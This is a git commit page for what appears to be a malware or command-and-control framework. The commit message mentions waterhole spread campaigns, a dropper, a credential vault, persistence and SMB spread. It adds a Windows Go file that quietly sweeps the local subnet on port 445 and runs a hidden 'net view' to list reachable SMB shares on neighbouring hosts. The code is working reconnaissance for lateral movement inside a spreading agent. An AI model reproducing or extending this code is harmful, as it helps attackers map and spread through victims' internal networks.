feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
109
agent/deploy/smb_shares_windows.go
Normal file
109
agent/deploy/smb_shares_windows.go
Normal file
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type smbHostShares struct {
|
||||
Host string `json:"host"`
|
||||
Shares []string `json:"shares,omitempty"`
|
||||
Accessible bool `json:"accessible"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type smbSharesResult struct {
|
||||
Hosts []smbHostShares `json:"hosts"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
|
||||
func EnumerateSMBShares(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 32
|
||||
}
|
||||
targets := smbShareTargets(maxHosts)
|
||||
hosts := make([]smbHostShares, 0, len(targets))
|
||||
for _, host := range targets {
|
||||
hosts = append(hosts, probeSMBShares(host))
|
||||
}
|
||||
result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func smbShareTargets(maxHosts int) []string {
|
||||
targets := arpHosts()
|
||||
local := getLocalIPs()
|
||||
localSet := make(map[string]bool, len(local))
|
||||
for _, ip := range local {
|
||||
localSet[ip] = true
|
||||
}
|
||||
filtered := make([]string, 0, len(targets))
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
if localSet[t] || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
if len(filtered) < 3 {
|
||||
for _, ip := range local {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
filtered = append(filtered, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(filtered) > maxHosts {
|
||||
filtered = filtered[:maxHosts]
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func probeSMBShares(host string) smbHostShares {
|
||||
conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
|
||||
if err != nil {
|
||||
return smbHostShares{Host: host, Error: "port 445 closed"}
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||
text := strings.TrimSpace(string(out))
|
||||
if err != nil {
|
||||
msg := text
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return smbHostShares{Host: host, Error: msg}
|
||||
}
|
||||
shares := parseNetViewShares(text)
|
||||
return smbHostShares{
|
||||
Host: host,
|
||||
Shares: shares,
|
||||
Accessible: len(shares) > 0,
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user